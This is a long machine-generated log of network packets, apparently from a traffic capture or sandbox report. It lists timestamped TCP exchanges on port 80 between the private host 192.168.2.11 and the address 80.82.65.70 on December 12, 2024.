                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.088251114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.088834047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.088957071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.088957071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.089632034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.089690924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.089746952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.090432882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.090497971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.090558052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.090655088 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.091218948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.091373920 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.091389894 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.091495037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.091989040 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.092058897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.092093945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.092222929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.092756033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.092825890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.092901945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.093075991 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.093600988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.093652010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.093694925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.093801975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.094301939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.094594002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.094786882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.094856024 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.095102072 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.095120907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.095159054 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.095238924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.095879078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.095963001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.095978022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.096143961 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.096654892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.096724987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.096772909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.096927881 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.097445011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.097585917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.097637892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.098251104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.098314047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.098334074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.098366022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.098998070 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.099057913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.099129915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.099221945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.099790096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.099860907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.099927902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.099992037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.100590944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.100651979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.100681067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.100730896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.101376057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.101505995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.101540089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.101674080 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.102209091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.102354050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.102365971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.102911949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.102977037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.102997065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.103095055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.157572985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.157598019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.157793045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.157875061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.157896996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.157958984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.158773899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.158873081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.158921003 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.159065008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.159605980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.159677029 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.193295956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.193402052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.193500996 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.193500996 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.193550110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.193627119 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.193646908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.193782091 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.194329977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.194452047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.194564104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.194634914 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.195020914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.195086002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.195173025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.195229053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.195882082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.195941925 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.195991993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.196050882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.196805954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.196849108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.196904898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.197362900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.197418928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.197519064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.197686911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.198270082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.198384047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.198425055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.198476076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.199039936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.199141026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.199162960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.199239016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.199840069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.199903011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.199938059 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.200059891 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.200545073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.200566053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.200617075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.201302052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.201344967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.201412916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.202083111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.202178955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.202203989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.202259064 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.202889919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.202935934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.203006029 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.203643084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.203722954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.203742981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.203772068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.204494953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.204618931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.204622984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.204684019 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.205219030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.205353022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.205409050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.205992937 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.206167936 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.206170082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.206756115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.206805944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.206845045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.206897020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.207016945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.207647085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.207714081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.207755089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.207787037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.208338022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.208400965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.272789001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.272919893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.273133993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.273231983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.273310900 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.273376942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.273900032 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.274060965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.274122953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.274631977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.274688959 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.274749994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.275428057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.275509119 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.275547981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.276196003 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.276262045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.276333094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.276423931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.277034044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.277143955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.277292013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.277854919 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.277924061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.277983904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.278578043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.278688908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.278752089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.279561996 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.279658079 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.279719114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.280479908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.280561924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.280731916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.281210899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.281270027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.281388998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.281517982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.282005072 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.282061100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.282130957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.282448053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.282807112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.282876968 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.282900095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.283101082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.283376932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.283447981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.283519030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.283623934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.284075975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.284142971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.284176111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.284229040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.284849882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.284909010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.284976959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.285154104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.285618067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.285681009 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.285742998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.285861969 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.286412954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.286520004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.286540985 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.286573887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.287147999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.287219048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.287275076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.287374020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.287950993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.288084984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.288109064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.288234949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.288747072 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.288897038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.288966894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.289086103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.289516926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.289577961 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.289655924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.289800882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.290277004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.290328979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.290416956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.290612936 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.291085958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.291248083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.291294098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.291366100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.291924000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.292063951 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.292102098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.292186975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.292649031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.292742014 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.292762995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.292892933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.293420076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.293561935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.293570042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.293625116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.294205904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.294270992 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.294322968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.294382095 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.294984102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.295066118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.295146942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.349674940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.349824905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.349838018 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.349843979 CET804981980.82.65.70192.168.2.11
